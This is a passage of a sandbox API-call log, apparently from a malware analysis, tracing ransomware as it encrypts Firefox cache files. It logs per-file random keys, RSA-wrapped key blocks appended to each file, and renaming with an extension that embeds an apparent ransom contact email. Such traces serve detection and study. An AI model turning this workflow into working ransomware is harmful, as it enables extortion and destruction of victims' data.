(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\32B6927A1EB46E83B230070265358A1C5B788D11", dwFileAttributes=0x80) returned 1 [0281.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437660 [0281.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0281.973] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437660 | out: hHeap=0x570000) returned 1 [0281.973] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\32B6927A1EB46E83B230070265358A1C5B788D11" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\32b6927a1eb46e83b230070265358a1c5b788d11"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0281.974] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=6864) returned 1 [0281.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1ad0) returned 0x3439010 [0281.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1ad0) returned 0x2f39028 [0281.974] ReadFile (in: hFile=0x1b84, lpBuffer=0x3439010, nNumberOfBytesToRead=0x1ad0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3439010*, lpNumberOfBytesRead=0x2e3f9b4*=0x1ad0, lpOverlapped=0x0) returned 1 [0282.087] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-6864, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.087] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1ad0, lpOverlapped=0x0) returned 1 [0282.087] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3439010 | out: hHeap=0x570000) returned 1 [0282.087] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0282.087] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1ad0 [0282.087] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0282.087] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0282.088] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0282.088] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0282.088] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0282.088] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0282.088] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="t4A9glmrZgBvAaPlKqreZypM5uTqswxqRjSd+5l7sldqYbgLW+XNSTCi2APpCUZB\nqRa0wxfyYGlpMg3dJ5AN3XF5cl7yZyVJ+S+zSf1CkkeO0dTUSDbCCeeLKD3qH8W+\nPeFL216P4pqR+QL06EzQD1vWf7RSgz9X5RWIpt0QRVSAcP2BDolf4c4xDn5/ujBX\nnn9vh3iNOfsZDDzFwyGr4DfA39zMeMKOyeW03+DZnavpWLeCuyBH6hAp23HZ+myv\nBMFXjp46KYymTp1RsqlN6nJWvRmPbNU188/rnt6/OH8SU8NzR+EUlPDDfXqCqpgo\nNcLv40AWJZeyVE9c75iIbg==\n", pcchString=0x2e3f9a8) returned 1 [0282.088] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0282.088] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0282.088] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0282.088] CloseHandle (hObject=0x1b84) returned 1 [0282.088] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0282.088] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\32B6927A1EB46E83B230070265358A1C5B788D11" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\32b6927a1eb46e83b230070265358a1c5b788d11"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\32B6927A1EB46E83B230070265358A1C5B788D11.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\32b6927a1eb46e83b230070265358a1c5b788d11.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0282.090] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0282.090] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0282.090] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3438b00 | out: hHeap=0x570000) returned 1 [0282.090] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3438d10 | out: hHeap=0x570000) returned 1 [0282.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3438b00 [0282.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0282.090] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0282.090] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\32AFE38EED991EA004851E7C968397C7D9EA501C", dwFileAttributes=0x80) returned 1 [0282.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437138 [0282.091] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0282.091] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437138 | out: hHeap=0x570000) returned 1 [0282.091] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\32AFE38EED991EA004851E7C968397C7D9EA501C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\32afe38eed991ea004851e7c968397c7d9ea501c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0282.091] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=46772) returned 1 [0282.091] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb6b4) returned 0x3540048 [0282.091] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb6b4) returned 0x354b708 [0282.091] ReadFile (in: hFile=0x1b84, lpBuffer=0x3540048, nNumberOfBytesToRead=0xb6b4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesRead=0x2e3f9b4*=0xb6b4, lpOverlapped=0x0) returned 1 [0282.156] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-46772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.156] WriteFile (in: hFile=0x1b84, lpBuffer=0x354b708*, nNumberOfBytesToWrite=0xb6b4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x354b708*, lpNumberOfBytesWritten=0x2e3f9b4*=0xb6b4, lpOverlapped=0x0) returned 1 [0282.156] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3540048 | out: hHeap=0x570000) returned 1 [0282.156] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x354b708 | out: hHeap=0x570000) returned 1 [0282.156] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xb6b4 [0282.156] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0282.156] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0282.156] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0282.156] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0282.156] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0282.157] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0282.157] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="3pFTCzu8tZrfvSoJnkverV7JXG1rFPCVYgTCUpJ+SCJRVEsRvBkfiDJiZBM6cgUX\nOsBtraByyfwpSHoxyNSa6zZU89PjVkLlHQ5W45ZvOzvBYG/iQ0b+eWC5m41vIzxz\nArMBDlSYd9h/cAxIiHNke46++UbgU74UjY2ChQHql1BWyHMJPftW45nWLyw2Rz2K\nWahA7WZo5FrE5UgLg/gpQcFT4LuGlbYCZfThOmHT9moh7YVQ9aaWLIWxiTYB+5KY\nH1uJnXXgHxNZQAaYjg56FOTyC0rKwI/EarQLl/8cJI6ZQ1EX4bryuExZwuZqtjxt\nfyeH9r8n8Zxqc2nTtp6VJw==\n", pcchString=0x2e3f9a8) returned 1 [0282.157] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0282.157] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0282.157] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0282.157] CloseHandle (hObject=0x1b84) returned 1 [0282.157] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0282.157] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\32AFE38EED991EA004851E7C968397C7D9EA501C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\32afe38eed991ea004851e7c968397c7d9ea501c"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\32AFE38EED991EA004851E7C968397C7D9EA501C.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\32afe38eed991ea004851e7c968397c7d9ea501c.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0282.159] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0282.159] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0282.159] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3438b00 | out: hHeap=0x570000) returned 1 [0282.159] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34388f0 | out: hHeap=0x570000) returned 1 [0282.159] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3438d10 [0282.159] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67d0 [0282.159] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0282.159] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\31592C8B017CA0508B5F0339E7E1EA46376F2D31", dwFileAttributes=0x80) returned 1 [0282.159] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3438b00 [0282.159] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0282.159] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3438b00 | out: hHeap=0x570000) returned 1 [0282.159] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\31592C8B017CA0508B5F0339E7E1EA46376F2D31" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\31592c8b017ca0508b5f0339e7e1ea46376f2d31"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0282.160] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=7919) returned 1 [0282.160] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1eef) returned 0x3439010 [0282.160] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1eef) returned 0x2f39028 [0282.160] ReadFile (in: hFile=0x1b84, lpBuffer=0x3439010, nNumberOfBytesToRead=0x1eef, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3439010*, lpNumberOfBytesRead=0x2e3f9b4*=0x1eef, lpOverlapped=0x0) returned 1 [0282.195] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-7919, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.195] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x1eef, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1eef, lpOverlapped=0x0) returned 1 [0282.195] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3439010 | out: hHeap=0x570000) returned 1 [0282.195] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0282.195] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1eef [0282.195] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0282.195] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0282.195] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0282.195] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0282.196] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0282.196] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0282.196] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="AZpGviw2+stIMAcE6evUzzGoW7IQr/OaDNJKi7W2Ml8qjoY7YqXf4m+X3n0Skxxv\nivj/3daRytcv8kCGjni9NX5SNN8ksIR+XSdvJwkVStXOSRBp/dLDJqoFz9T77qt2\n39VxwBXQ3j1PypaGrO+MJDLIhuwtpNyfqTh1tKtRWkV4fKdVJ2C4p6soXk2Kr2Ml\nJsdUwPfcdEXaWAcLRyaxWaB524VgrOzUoFhezLZYwkptkp8Wq+zmjXTuReGxZV+G\n+w9KfwItMfQh86E6+fx5ec/oFcE5jTsKsBrPh6g0Zt3GmBKq6ReyhkB4CpDVIdZo\na+zWGamy4spiZHGWQDQprg==\n", pcchString=0x2e3f9a8) returned 1 [0282.196] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0282.196] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0282.196] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0282.196] CloseHandle (hObject=0x1b84) returned 1 [0282.196] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0282.196] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\31592C8B017CA0508B5F0339E7E1EA46376F2D31" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\31592c8b017ca0508b5f0339e7e1ea46376f2d31"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\31592C8B017CA0508B5F0339E7E1EA46376F2D31.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\31592c8b017ca0508b5f0339e7e1ea46376f2d31.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0282.352] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0282.352] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67d0 | out: hHeap=0x570000) returned 1 [0282.352] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3438d10 | out: hHeap=0x570000) returned 1 [0282.352] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34387e8 | out: hHeap=0x570000) returned 1 [0282.352] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x34387e8 [0282.352] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0282.352] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0282.352] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\31279F1295868B1758188226BB765EF87F3F8DB8", dwFileAttributes=0x80) returned 1 [0282.353] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x34388f0 [0282.353] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0282.353] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34388f0 | out: hHeap=0x570000) returned 1 [0282.353] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\31279F1295868B1758188226BB765EF87F3F8DB8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\31279f1295868b1758188226bb765ef87f3f8db8"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0282.353] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1320) returned 1 [0282.353] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x528) returned 0x66e948 [0282.353] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x528) returned 0x2f3e850 [0282.353] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x528, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x528, lpOverlapped=0x0) returned 1 [0282.430] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.430] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x528, lpOverlapped=0x0) returned 1 [0282.430] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0282.430] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f3e850 | out: hHeap=0x570000) returned 1 [0282.430] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x528 [0282.430] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0282.430] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0282.430] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0282.430] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0282.430] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0282.430] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0282.431] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="IEh+iQ6kl/jYB5REclbC+IvoQImWbLFZhW4YwDlGt8kuAwrcLcvml/G1VLGoAaMJ\nOy33BKmigDcmbwc07Ifanw4KtR+0ALr2LAoh6veC5Oqf2wznBDFZ4GKaGwZZxgb3\nOlwjgt1hlYT2wv+bzT5RcdBSYZZYY2FU7SRTPRFENTyDvrnnYyYQiyhh9WkrejjO\nudVn25/omn+V+aNeNaeG1scxD2teRC1lsxeAjgrWTHhmyAjAX9phMn1pQ7y6tNOY\nkWGTbrPqFtNJoqx5JwIEDBoSBTsZR7SneJ0g/BpEwkxJfk8daapkHGGLZCkQLLG7\nx1GiFB2+5Ql0iEqiU4MDLg==\n", pcchString=0x2e3f9a8) returned 1 [0282.431] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0282.431] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0282.431] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0282.431] CloseHandle (hObject=0x1b84) returned 1 [0282.431] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0282.431] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\31279F1295868B1758188226BB765EF87F3F8DB8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\31279f1295868b1758188226bb765ef87f3f8db8"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\31279F1295868B1758188226BB765EF87F3F8DB8.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\31279f1295868b1758188226bb765ef87f3f8db8.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0282.433] HeapFree (in: hHeap=0x570000, dwFlags=0x0, 